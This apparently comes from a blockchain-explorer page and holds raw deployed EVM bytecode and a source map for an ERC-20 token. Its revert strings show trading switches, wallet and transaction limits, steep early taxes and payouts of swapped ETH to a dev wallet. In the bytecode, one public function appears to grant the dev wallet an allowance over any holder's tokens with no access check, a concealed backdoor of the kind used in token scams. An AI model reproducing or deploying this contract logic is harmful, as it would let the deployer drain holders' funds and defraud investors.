600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6011545f9061010090046001600160a01b03166107188482856113f3565b60115461010090046001600160a01b0316331461094d575f80fd5b6001600160a01b0381166109b15760405162461bcd60e51b815260206004820152602560248201527f4552524f523a205f64657657616c6c657420616464726573732063616e6e6f74604482015264020626520360dc1b6064820152608401610839565b60118054610100600160a81b0319166101006001600160a01b03938416810291909117918290559004165f908152600660205260409020805460ff19166001179055565b6109fd611348565b6001600160a01b038116610a625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610839565b610a6b816113a2565b50565b6001600160a01b038316610ad05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610839565b6001600160a01b038216610b315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610839565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610b9c84846108ea565b90505f198114610c035781811015610bf65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610839565b610c038484848403610a6e565b50505050565b6001600160a01b038316610c2f5760405162461bcd60e51b815260040161083990611979565b6001600160a01b038216610c555760405162461bcd60e51b8152600401610839906119be565b5f8111610ca45760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610839565b60085460ff16156110c2576005546001600160a01b03848116911614801590610cdb57506005546001600160a01b03838116911614155b8015610cef57506001600160a01b03821615155b8015610d0657506001600160a01b03821661dead14155b156110c257600854610100900460ff16610e00576001600160a01b0383165f9081526007602052604090205460ff1680610d5757506001600160a01b0382165f9081526007602052604090205460ff165b610da35760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610839565b6005546001600160a01b03848116911614610e005760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c6564000000000000006044820152606401610839565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148015610e5957506001600160a01b0382165f9081526007602052604090205460ff16155b15610f4057600954811115610ec85760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b6064820152608401610839565b600b546001600160a01b0383165f90815260208190526040902054610eed9083611966565b1115610f3b5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610839565b6110c2565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316148015610f9957506001600160a01b0383165f9081526007602052604090205460ff16155b1561100a57600a54811115610f3b5760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b6064820152608401610839565b6001600160a01b0382165f9081526007602052604090205460ff1615801561104a57506001600160a01b0383165f9081526007602052604090205460ff16155b156110c257600b546001600160a01b0383165f908152602081905260409020546110749083611966565b11156110c25760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610839565b305f90815260208190526040902054600c54811080159081906110ed575060085462010000900460ff165b80156110fc575060115460ff16155b80156111095750600d5483115b801561114757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b801561116b57506001600160a01b0385165f9081526006602052604090205460ff16155b801561118f57506001600160a01b0384165f9081526006602052604090205460ff16155b156111b4576011805460ff191660011790556111a9611417565b6011805460ff191690555b6001600160a01b0385165f9081526006602052604090205460019060ff16806111f457506001600160a01b0385165f9081526006602052604090205460ff165b156111fc57505f5b5f8115611334576008546301000000900460ff161561121d5761121d611498565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b031614801561125f57505f601054115b1561129c576064601054866112749190611a01565b61127e9190611a18565b90508060125f8282546112919190611966565b909155506113169050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316876001600160a01b03161480156112de57505f600f54115b15611316576064600f54866112f39190611a01565b6112fd9190611a18565b90508060125f8282546113109190611966565b90915550505b801561132757611327873083611520565b6113318186611a37565b94505b61133f878787611520565b50505050505050565b6005546001600160a01b031633146107ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610839565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038316611405575f80fd5b6001600160a01b038216610b31575f80fd5b305f90815260208190526040902054601254811580611434575080155b1561143d575050565b600c5482111561144d57600c5491505b61145682611648565b6011546040516001600160a01b0361010090920491909116904780156108fc02915f818181858888f19350505050158015611493573d5f803e3d5ffd5b505050565b5f600e54116114dc5760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b6044820152606401610839565b600e5443905f906114ee906006611966565b9050808211611505576014600f8190556010555050565b6004600f8190556010556008805463ff000000191690555050565b6001600160a01b0383166115465760405162461bcd60e51b815260040161083990611979565b6001600160a01b03821661156c5760405162461bcd60e51b8152600401610839906119be565b6001600160a01b0383165f90815260208190526040902054818110156115e35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610839565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610c03565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061167b5761167b611a4a565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061170f9190611a5e565b8160018151811061172257611722611a4a565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117799085905f90869030904290600401611a79565b5f604051808303815f87803b158015611790575f80fd5b505af11580156117a2573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b818110156117d5578581018301518582016040015282016117b9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a6b575f80fd5b5f806040838503121561181a575f80fd5b8235611825816117f5565b946020939093013593505050565b5f805f60608486031215611845575f80fd5b8335611850816117f5565b92506020840135611860816117f5565b929592945050506040919091013590565b5f8060408385031215611882575f80fd5b823561188d816117f5565b9150602083013580151581146118a1575f80fd5b809150509250929050565b5f602082840312156118bc575f80fd5b81356118c7816117f5565b9392505050565b5f80604083850312156118df575f80fd5b50508035926020909101359150565b5f80604083850312156118ff575f80fd5b823561190a816117f5565b915060208301356118a1816117f5565b600181811c9082168061192e57607f821691505b60208210810361194c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561071e5761071e611952565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808202811582820484141761071e5761071e611952565b5f82611a3257634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561071e5761071e611952565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a6e575f80fd5b81516118c7816117f5565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611ac75784516001600160a01b031683529383019391830191600101611aa2565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a36a8f40eb4e1235297c16d78ba9677685cb0555d2003892f1d98b5376b9169d64736f6c63430008150033
Deployed Bytecode
0x608060405260043610610215575f3560e01c80638da5cb5b1161011e578063c135cdd7116100a8578063dd62ed3e1161006d578063dd62ed3e146105ea578063e6f7053114610609578063efdcd97414610628578063f2fde38b14610647578063f8b45b0514610666575f80fd5b8063c135cdd71461056e578063c9567bf914610583578063cf1327c814610597578063d621e813146105b7578063da9bd80a146105d5575f80fd5b8063a457c2d7116100ee578063a457c2d7146104ba578063a8b08982146104d9578063a9059cbb1461050c578063b3f006741461052b578063baccf5cf1461054f575f80fd5b80638da5cb5b1461044957806395d89b41146104665780639e6e8f901461047a578063a0e47bf614610493575f80fd5b8063607a51491161019f578063715018a61161016f578063715018a6146103b8578063751039fc146103cc57806376771d4b146103e05780637b8b94aa1461041f57806388e765ff14610434575f80fd5b8063607a51491461033b57806366d602ae146103505780636ddd17131461036557806370a0823114610384575f80fd5b8063313ce567116101e5578063313ce567146102b657806339509351146102d157806355a8bfbc146102f057806357cb1947146103115780635e3e4c6214610326575f80fd5b806306fdde0314610220578063095ea7b31461024a57806318160ddd1461027957806323b872dd14610297575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b5061023461067b565b60405161024191906117aa565b60405180910390f35b348015610255575f80fd5b50610269610264366004611809565b61070b565b6040519015158152602001610241565b348015610284575f80fd5b506002545b604051908152602001610241565b3480156102a2575f80fd5b506102696102b1366004611833565b610724565b3480156102c1575f80fd5b5060405160128152602001610241565b3480156102dc575f80fd5b506102696102eb366004611809565b610747565b3480156102fb575f80fd5b5061030f61030a366004611871565b610768565b005b34801561031c575f80fd5b5061028960125481565b348015610331575f80fd5b50610289600f5481565b348015610346575f80fd5b50610289600e5481565b34801561035b575f80fd5b50610289600a5481565b348015610370575f80fd5b506008546102699062010000900460ff1681565b34801561038f575f80fd5b5061028961039e3660046118ac565b6001600160a01b03165f9081526020819052604090205490565b3480156103c3575f80fd5b5061030f61079a565b3480156103d7575f80fd5b5061030f6107ad565b3480156103eb575f80fd5b50610407735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b6040516001600160a01b039091168152602001610241565b34801561042a575f80fd5b50610289600c5481565b34801561043f575f80fd5b5061028960095481565b348015610454575f80fd5b506005546001600160a01b0316610407565b348015610471575f80fd5b506102346107c1565b348015610485575f80fd5b506008546102699060ff1681565b34801561049e575f80fd5b50610407737a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156104c5575f80fd5b506102696104d4366004611809565b6107d0565b3480156104e4575f80fd5b506104077f00000000000000000000000045ce265b7d72aeda37b8af9b159b397ff0767a7a81565b348015610517575f80fd5b50610269610526366004611809565b61084f565b348015610536575f80fd5b506011546104079061010090046001600160a01b031681565b34801561055a575f80fd5b5061030f6105693660046118ce565b61085c565b348015610579575f80fd5b5061028960105481565b34801561058e575f80fd5b5061030f61086f565b3480156105a2575f80fd5b50600854610269906301000000900460ff1681565b3480156105c2575f80fd5b5060085461026990610100900460ff1681565b3480156105e0575f80fd5b50610289600d5481565b3480156105f5575f80fd5b506102896106043660046118ee565b6108ea565b348015610614575f80fd5b50610269610623366004611809565b610914565b348015610633575f80fd5b5061030f6106423660046118ac565b610932565b348015610652575f80fd5b5061030f6106613660046118ac565b6109f5565b348015610671575f80fd5b50610289600b5481565b60606003805461068a9061191a565b80601f01602080910402602001604051908101604052809291908181526020018280546106b69061191a565b80156107015780601f106106d857610100808354040283529160200191610701565b820191905f5260205f20905b8154815290600101906020018083116106e457829003601f168201915b5050505050905090565b5f33610718818585610a6e565b60019150505b92915050565b5f33610731858285610b91565b61073c858585610c09565b506001949350505050565b5f3361071881858561075983836108ea565b6107639190611966565b610a6e565b610770611348565b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b6107a2611348565b6107ab5f6113a2565b565b6107b5611348565b6008805460ff19169055565b60606004805461068a9061191a565b5f33816107dd82866108ea565b9050838110156108425760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61073c8286868403610a6e565b5f33610718818585610c09565b610864611348565b600f91909155601055565b610877611348565b600e54156108d35760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b6064820152608401610839565b43600e556008805462ffff00191662010100179055565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6011545f9061010090046001600160a01b03166107188482856113f3565b60115461010090046001600160a01b0316331461094d575f80fd5b6001600160a01b0381166109b15760405162461bcd60e51b815260206004820152602560248201527f4552524f523a205f64657657616c6c657420616464726573732063616e6e6f74604482015264020626520360dc1b6064820152608401610839565b60118054610100600160a81b0319166101006001600160a01b03938416810291909117918290559004165f908152600660205260409020805460ff19166001179055565b6109fd611348565b6001600160a01b038116610a625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610839565b610a6b816113a2565b50565b6001600160a01b038316610ad05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610839565b6001600160a01b038216610b315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610839565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610b9c84846108ea565b90505f198114610c035781811015610bf65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610839565b610c038484848403610a6e565b50505050565b6001600160a01b038316610c2f5760405162461bcd60e51b815260040161083990611979565b6001600160a01b038216610c555760405162461bcd60e51b8152600401610839906119be565b5f8111610ca45760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610839565b60085460ff16156110c2576005546001600160a01b03848116911614801590610cdb57506005546001600160a01b03838116911614155b8015610cef57506001600160a01b03821615155b8015610d0657506001600160a01b03821661dead14155b156110c257600854610100900460ff16610e00576001600160a01b0383165f9081526007602052604090205460ff1680610d5757506001600160a01b0382165f9081526007602052604090205460ff165b610da35760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610839565b6005546001600160a01b03848116911614610e005760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c6564000000000000006044820152606401610839565b7f00000000000000000000000045ce265b7d72aeda37b8af9b159b397ff0767a7a6001600160a01b0316836001600160a01b0316148015610e5957506001600160a01b0382165f9081526007602052604090205460ff16155b15610f4057600954811115610ec85760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b6064820152608401610839565b600b546001600160a01b0383165f90815260208190526040902054610eed9083611966565b1115610f3b5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610839565b6110c2565b7f00000000000000000000000045ce265b7d72aeda37b8af9b159b397ff0767a7a6001600160a01b0316826001600160a01b0316148015610f9957506001600160a01b0383165f9081526007602052604090205460ff16155b1561100a57600a54811115610f3b5760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b6064820152608401610839565b6001600160a01b0382165f9081526007602052604090205460ff1615801561104a57506001600160a01b0383165f9081526007602052604090205460ff16155b156110c257600b546001600160a01b0383165f908152602081905260409020546110749083611966565b11156110c25760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610839565b305f90815260208190526040902054600c54811080159081906110ed575060085462010000900460ff165b80156110fc575060115460ff16155b80156111095750600d5483115b801561114757507f00000000000000000000000045ce265b7d72aeda37b8af9b159b397ff0767a7a6001600160a01b0316856001600160a01b031614155b801561116b57506001600160a01b0385165f9081526006602052604090205460ff16155b801561118f57506001600160a01b0384165f9081526006602052604090205460ff16155b156111b4576011805460ff191660011790556111a9611417565b6011805460ff191690555b6001600160a01b0385165f9081526006602052604090205460019060ff16806111f457506001600160a01b0385165f9081526006602052604090205460ff165b156111fc57505f5b5f8115611334576008546301000000900460ff161561121d5761121d611498565b7f00000000000000000000000045ce265b7d72aeda37b8af9b159b397ff0767a7a6001600160a01b0316866001600160a01b031614801561125f57505f601054115b1561129c576064601054866112749190611a01565b61127e9190611a18565b90508060125f8282546112919190611966565b909155506113169050565b7f00000000000000000000000045ce265b7d72aeda37b8af9b159b397ff0767a7a6001600160a01b0316876001600160a01b03161480156112de57505f600f54115b15611316576064600f54866112f39190611a01565b6112fd9190611a18565b90508060125f8282546113109190611966565b90915550505b801561132757611327873083611520565b6113318186611a37565b94505b61133f878787611520565b50505050505050565b6005546001600160a01b031633146107ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610839565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038316611405575f80fd5b6001600160a01b038216610b31575f80fd5b305f90815260208190526040902054601254811580611434575080155b1561143d575050565b600c5482111561144d57600c5491505b61145682611648565b6011546040516001600160a01b0361010090920491909116904780156108fc02915f818181858888f19350505050158015611493573d5f803e3d5ffd5b505050565b5f600e54116114dc5760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b6044820152606401610839565b600e5443905f906114ee906006611966565b9050808211611505576014600f8190556010555050565b6004600f8190556010556008805463ff000000191690555050565b6001600160a01b0383166115465760405162461bcd60e51b815260040161083990611979565b6001600160a01b03821661156c5760405162461bcd60e51b8152600401610839906119be565b6001600160a01b0383165f90815260208190526040902054818110156115e35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610839565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610c03565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061167b5761167b611a4a565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061170f9190611a5e565b8160018151811061172257611722611a4a565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117799085905f90869030904290600401611a79565b5f604051808303815f87803b158015611790575f80fd5b505af11580156117a2573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b818110156117d5578581018301518582016040015282016117b9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a6b575f80fd5b5f806040838503121561181a575f80fd5b8235611825816117f5565b946020939093013593505050565b5f805f60608486031215611845575f80fd5b8335611850816117f5565b92506020840135611860816117f5565b929592945050506040919091013590565b5f8060408385031215611882575f80fd5b823561188d816117f5565b9150602083013580151581146118a1575f80fd5b809150509250929050565b5f602082840312156118bc575f80fd5b81356118c7816117f5565b9392505050565b5f80604083850312156118df575f80fd5b50508035926020909101359150565b5f80604083850312156118ff575f80fd5b823561190a816117f5565b915060208301356118a1816117f5565b600181811c9082168061192e57607f821691505b60208210810361194c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561071e5761071e611952565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808202811582820484141761071e5761071e611952565b5f82611a3257634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561071e5761071e611952565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a6e575f80fd5b81516118c7816117f5565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611ac75784516001600160a01b031683529383019391830191600101611aa2565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a36a8f40eb4e1235297c16d78ba9677685cb0555d2003892f1d98b5376b9169d64736f6c63430008150033
Deployed Bytecode Sourcemap
16477:7978:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6662:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9022:201;;;;;;;;;;-1:-1:-1;9022:201:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9022:201:0;1023:187:1;7791:108:0;;;;;;;;;;-1:-1:-1;7879:12:0;;7791:108;;;1361:25:1;;;1349:2;1334:18;7791:108:0;1215:177:1;9803:261:0;;;;;;;;;;-1:-1:-1;9803:261:0;;;;;:::i;:::-;;:::i;7633:93::-;;;;;;;;;;-1:-1:-1;7633:93:0;;7716:2;2000:36:1;;1988:2;1973:18;7633:93:0;1858:184:1;10473:238:0;;;;;;;;;;-1:-1:-1;10473:238:0;;;;;:::i;:::-;;:::i;22239:124::-;;;;;;;;;;-1:-1:-1;22239:124:0;;;;;:::i;:::-;;:::i;:::-;;17453:32;;;;;;;;;;;;;;;;17333:22;;;;;;;;;;;;;;;;17298:28;;;;;;;;;;;;;;;;17168;;;;;;;;;;;;;;;;17057:31;;;;;;;;;;-1:-1:-1;17057:31:0;;;;;;;;;;;7962:127;;;;;;;;;;-1:-1:-1;7962:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8063:18:0;8036:7;8063:18;;;;;;;;;;;;7962:127;5197:103;;;;;;;;;;;;;:::i;24139:83::-;;;;;;;;;;;;;:::i;16695:109::-;;;;;;;;;;;;16761:42;16695:109;;;;;-1:-1:-1;;;;;2907:32:1;;;2889:51;;2877:2;2862:18;16695:109:0;2720:226:1;17234:25:0;;;;;;;;;;;;;;;;17134:27;;;;;;;;;;;;;;;;4556:87;;;;;;;;;;-1:-1:-1;4629:6:0;;-1:-1:-1;;;;;4629:6:0;4556:87;;6881:104;;;;;;;;;;;;;:::i;16979:32::-;;;;;;;;;;-1:-1:-1;16979:32:0;;;;;;;;16811:107;;;;;;;;;;;;16875:42;16811:107;;11214:436;;;;;;;;;;-1:-1:-1;11214:436:0;;;;;:::i;:::-;;:::i;16546:36::-;;;;;;;;;;;;;;;8295:193;;;;;;;;;;-1:-1:-1;8295:193:0;;;;;:::i;:::-;;:::i;17420:26::-;;;;;;;;;;-1:-1:-1;17420:26:0;;;;;;;-1:-1:-1;;;;;17420:26:0;;;23975:152;;;;;;;;;;-1:-1:-1;23975:152:0;;;;;:::i;:::-;;:::i;17362:23::-;;;;;;;;;;;;;;;;24228:224;;;;;;;;;;;;;:::i;17095:32::-;;;;;;;;;;-1:-1:-1;17095:32:0;;;;;;;;;;;17018;;;;;;;;;;-1:-1:-1;17018:32:0;;;;;;;;;;;17266:25;;;;;;;;;;;;;;;;8551:151;;;;;;;;;;-1:-1:-1;8551:151:0;;;;;:::i;:::-;;:::i;22369:189::-;;;;;;;;;;-1:-1:-1;22369:189:0;;;;;:::i;:::-;;:::i;22716:278::-;;;;;;;;;;-1:-1:-1;22716:278:0;;;;;:::i;:::-;;:::i;5455:201::-;;;;;;;;;;-1:-1:-1;5455:201:0;;;;;:::i;:::-;;:::i;17203:24::-;;;;;;;;;;;;;;;;6662:100;6716:13;6749:5;6742:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6662:100;:::o;9022:201::-;9105:4;3377:10;9161:32;3377:10;9177:7;9186:6;9161:8;:32::i;:::-;9211:4;9204:11;;;9022:201;;;;;:::o;9803:261::-;9900:4;3377:10;9958:38;9974:4;3377:10;9989:6;9958:15;:38::i;:::-;10007:27;10017:4;10023:2;10027:6;10007:9;:27::i;:::-;-1:-1:-1;10052:4:0;;9803:261;-1:-1:-1;;;;9803:261:0:o;10473:238::-;10561:4;3377:10;10617:64;3377:10;10633:7;10670:10;10642:25;3377:10;10633:7;10642:9;:25::i;:::-;:38;;;;:::i;:::-;10617:8;:64::i;22239:124::-;4442:13;:11;:13::i;:::-;-1:-1:-1;;;;;22323:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;22323:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;22239:124::o;5197:103::-;4442:13;:11;:13::i;:::-;5262:30:::1;5289:1;5262:18;:30::i;:::-;5197:103::o:0;24139:83::-;4442:13;:11;:13::i;:::-;24193::::1;:21:::0;;-1:-1:-1;;24193:21:0::1;::::0;;24139:83::o;6881:104::-;6937:13;6970:7;6963:14;;;;;:::i;11214:436::-;11307:4;3377:10;11307:4;11390:25;3377:10;11407:7;11390:9;:25::i;:::-;11363:52;;11454:15;11434:16;:35;;11426:85;;;;-1:-1:-1;;;11426:85:0;;4884:2:1;11426:85:0;;;4866:21:1;4923:2;4903:18;;;4896:30;4962:34;4942:18;;;4935:62;-1:-1:-1;;;5013:18:1;;;5006:35;5058:19;;11426:85:0;;;;;;;;;11547:60;11556:5;11563:7;11591:15;11572:16;:34;11547:8;:60::i;8295:193::-;8374:4;3377:10;8430:28;3377:10;8447:2;8451:6;8430:9;:28::i;23975:152::-;4442:13;:11;:13::i;:::-;24066:7:::1;:20:::0;;;;24097:8:::1;:22:::0;23975:152::o;24228:224::-;4442:13;:11;:13::i;:::-;24287::::1;::::0;:18;24279:67:::1;;;::::0;-1:-1:-1;;;24279:67:0;;5290:2:1;24279:67:0::1;::::0;::::1;5272:21:1::0;5329:2;5309:18;;;5302:30;5368:34;5348:18;;;5341:62;-1:-1:-1;;;5419:18:1;;;5412:34;5463:19;;24279:67:0::1;5088:400:1::0;24279:67:0::1;24373:12;24357:13;:28:::0;24396:12:::1;:19:::0;;-1:-1:-1;;24426:18:0;;;;;24228:224::o;8551:151::-;-1:-1:-1;;;;;8667:18:0;;;8640:7;8667:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8551:151::o;22369:189::-;22475:11;;22442:4;;22475:11;;;-1:-1:-1;;;;;22475:11:0;22497:31;22505:7;22475:11;22521:6;22497:7;:31::i;22716:278::-;22802:11;;;;;-1:-1:-1;;;;;22802:11:0;22788:10;:25;22780:34;;;;;;-1:-1:-1;;;;;22833:24:0;;22825:74;;;;-1:-1:-1;;;22825:74:0;;5695:2:1;22825:74:0;;;5677:21:1;5734:2;5714:18;;;5707:30;5773:34;5753:18;;;5746:62;-1:-1:-1;;;5824:18:1;;;5817:35;5869:19;;22825:74:0;5493:401:1;22825:74:0;22910:11;:33;;-1:-1:-1;;;;;;22910:33:0;;-1:-1:-1;;;;;22910:33:0;;;;;;;;;;;;;22967:11;;;-1:-1:-1;22954:25:0;;;:12;:25;;;;;:32;;-1:-1:-1;;22954:32:0;-1:-1:-1;22954:32:0;;;22716:278::o;5455:201::-;4442:13;:11;:13::i;:::-;-1:-1:-1;;;;;5544:22:0;::::1;5536:73;;;::::0;-1:-1:-1;;;5536:73:0;;6101:2:1;5536:73:0::1;::::0;::::1;6083:21:1::0;6140:2;6120:18;;;6113:30;6179:34;6159:18;;;6152:62;-1:-1:-1;;;6230:18:1;;;6223:36;6276:19;;5536:73:0::1;5899:402:1::0;5536:73:0::1;5620:28;5639:8;5620:18;:28::i;:::-;5455:201:::0;:::o;15207:346::-;-1:-1:-1;;;;;15309:19:0;;15301:68;;;;-1:-1:-1;;;15301:68:0;;6508:2:1;15301:68:0;;;6490:21:1;6547:2;6527:18;;;6520:30;6586:34;6566:18;;;6559:62;-1:-1:-1;;;6637:18:1;;;6630:34;6681:19;;15301:68:0;6306:400:1;15301:68:0;-1:-1:-1;;;;;15388:21:0;;15380:68;;;;-1:-1:-1;;;15380:68:0;;6913:2:1;15380:68:0;;;6895:21:1;6952:2;6932:18;;;6925:30;6991:34;6971:18;;;6964:62;-1:-1:-1;;;7042:18:1;;;7035:32;7084:19;;15380:68:0;6711:398:1;15380:68:0;-1:-1:-1;;;;;15461:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15513:32;;1361:25:1;;;15513:32:0;;1334:18:1;15513:32:0;;;;;;;15207:346;;;:::o;15858:419::-;15959:24;15986:25;15996:5;16003:7;15986:9;:25::i;:::-;15959:52;;-1:-1:-1;;16026:16:0;:37;16022:248;;16108:6;16088:16;:26;;16080:68;;;;-1:-1:-1;;;16080:68:0;;7316:2:1;16080:68:0;;;7298:21:1;7355:2;7335:18;;;7328:30;7394:31;7374:18;;;7367:59;7443:18;;16080:68:0;7114:353:1;16080:68:0;16192:51;16201: